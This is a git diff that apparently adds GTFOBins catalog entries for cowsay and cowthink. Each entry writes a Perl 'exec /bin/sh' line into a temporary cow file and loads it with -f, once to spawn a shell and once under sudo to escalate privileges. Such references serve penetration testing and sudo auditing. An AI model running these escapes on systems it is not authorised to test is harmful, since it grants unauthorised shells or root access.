diff --git a/_gtfobins/cowsay.md b/_gtfobins/cowsay.md
new file mode 100644
index 0000000..d2ff0ed
--- /dev/null
+++ b/_gtfobins/cowsay.md
@@ -0,0 +1,14 @@
+---
+description: It allows to execute [`perl`](/gtfobins/perl) code, other functions may apply.
+functions:
+  shell:
+    - code: |
+        TF=$(mktemp)
+        echo 'exec "/bin/sh";' >$TF
+        cowsay -f $TF x
+  sudo:
+    - code: |
+        TF=$(mktemp)
+        echo 'exec "/bin/sh";' >$TF
+        sudo cowsay -f $TF x
+---
diff --git a/_gtfobins/cowthink.md b/_gtfobins/cowthink.md
new file mode 100644
index 0000000..8e40009
--- /dev/null
+++ b/_gtfobins/cowthink.md
@@ -0,0 +1,14 @@
+---
+description: It allows to execute [`perl`](/gtfobins/perl) code, other functions may apply.
+functions:
+  shell:
+    - code: |
+        TF=$(mktemp)
+        echo 'exec "/bin/sh";' >$TF
+        cowthink -f $TF x
+  sudo:
+    - code: |
+        TF=$(mktemp)
+        echo 'exec "/bin/sh";' >$TF
+        sudo cowthink -f $TF x
+---